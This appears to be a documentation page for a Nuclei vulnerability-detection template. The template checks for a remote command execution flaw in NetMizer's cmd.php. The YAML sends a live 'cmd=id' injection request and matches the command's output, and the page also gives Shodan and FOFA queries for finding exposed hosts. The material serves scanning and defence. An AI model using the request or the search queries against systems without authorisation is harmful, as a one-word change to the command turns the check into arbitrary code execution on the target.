NetMizer LogManagement System cmd.php - Remote Code Execution
ID: netmizer-cmd-rce
Severity: critical
Author: DhiyaneshDk
Tags: netmizer,cmd,rce
Description
Section titled “Description”Remote Command Execution vulnerability in the NetMizer log management system cmd.php, and the attacker can execute the command by passing in the cmd parameter.
YAML Source
Section titled “YAML Source”id: netmizer-cmd-rce
info: name: NetMizer LogManagement System cmd.php - Remote Code Execution author: DhiyaneshDk severity: critical description: | Remote Command Execution vulnerability in the NetMizer log management system cmd.php, and the attacker can execute the command by passing in the cmd parameter. reference: - https://github.com/Threekiii/Awesome-POC/blob/master/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/NetMizer%20%E6%97%A5%E5%BF%97%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%20cmd.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md metadata: verified: true max-request: 1 shodan-query: title:"NetMizer" fofa-query: title="NetMizer 日志管理系统" tags: netmizer,cmd,rce
http: - method: GET path: - "{{BaseURL}}/data/manage/cmd.php?cmd=id"
matchers-condition: and matchers: - type: regex part: body regex: - 'uid=(\d+)\(.*?\) gid=(\d+)\(.*?\) groups=([\d,]+)\(.*?\)'
- type: word part: header words: - 'text/html'
- type: status status: - 200# digest: 4b0a00483046022100a00c8618d6e74591c0e7d917335fba6f0b6b571e00972f4c9c1c76237ea33cec022100b0379fa0e8aa32d76403b56c873b4e3dde4d35eb74d6c40cf4bb93cf67df0196:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/netmizer/netmizer-cmd-rce.yaml"